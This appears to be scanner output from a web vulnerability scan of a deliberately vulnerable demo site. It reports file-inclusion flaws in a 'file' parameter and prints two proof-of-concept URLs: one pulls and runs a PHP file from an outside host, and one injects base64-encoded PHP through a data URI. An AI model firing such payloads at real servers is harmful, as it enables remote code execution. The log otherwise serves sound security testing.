* scanning GET parameter 'file'
(i) GET parameter 'file' appears to be (R)FI vulnerable (e.g.: 'http://testphp.vulnweb.com/showimage.php?file=https%3A%2F%2Fraw.githubusercontent.com%2Fstamparm%2FDSFS%2Fmaster%2Ffiles%2Fconfig.php')
(i) GET parameter 'file' appears to be (S)FI vulnerable (e.g.: 'http://testphp.vulnweb.com/showimage.php?file=data%3A%2F%2Ftext%2Fplain%3Bbase64%2CPD9waHAgZWNobyBiYXNlNjRfZGVjb2RlKCdUR1ZuWVd3Z1pHbHpZMnhoYVcxbGNqbz0nKTs%2FPg%3D%3D')
